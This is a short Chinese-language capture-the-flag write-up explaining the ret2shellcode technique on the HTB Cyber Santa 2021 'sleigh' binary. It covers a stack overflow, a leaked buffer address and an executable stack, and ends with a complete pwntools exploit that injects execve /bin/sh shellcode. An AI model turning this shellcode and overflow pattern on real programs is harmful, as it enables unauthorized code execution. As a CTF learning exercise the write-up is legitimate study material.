文章目录
- ret2shellcode
 - HTBCyberSanta 2021 sleigh
 - 思路
 - exp
 
ret2shellcode
控制程序去执行我们自己填充的代码。
 条件:
- 我们填充的代码的位置具有可执行权限
 
HTBCyberSanta 2021 sleigh
检查保护

 Has RWX segments提示有可读可写可执行的段
main函数
 
 banner函数:
 
repair函数:

 这里read存在栈溢出,同时第一个fprintf输出了buf的地址
goodbye函数

 sleigh函数

C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。
fprintf用法
#include <stdio.h>
#include <stdlib.h>
int main()
{
   FILE * fp;
   fp = fopen ("file.txt", "w+");
   fprintf(fp, "%s %s %s %d", "We", "are", "in", 2014);
   
   fclose(fp);
   
   return(0);
}
 
思路
栈溢出,同时栈上可执行,利用泄露的buf地址作为返回地址,同时将shellcode写入buf
shellcode一个不行就换下一个
 shellcdoe
 shellcode
接受字节‘0x ……’的处理,先化整型然后p64处理
 
s.recvuntil(b" [")
leakVariable = p64(int(s.recvuntil(b"]")[:-1].decode(),16))//转换到八个字节的地址形式
 
exp
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
s = process("./sleigh")
s.sendline(b"1")
s.recvuntil(b" [")
leakVariable = p64(int(s.recvuntil(b"]")[:-1].decode(),16))
payload = shellcode.ljust(72,b"A")
payload += leakVariable
s.sendline(payload)
s.interactive()
s.close()
                


















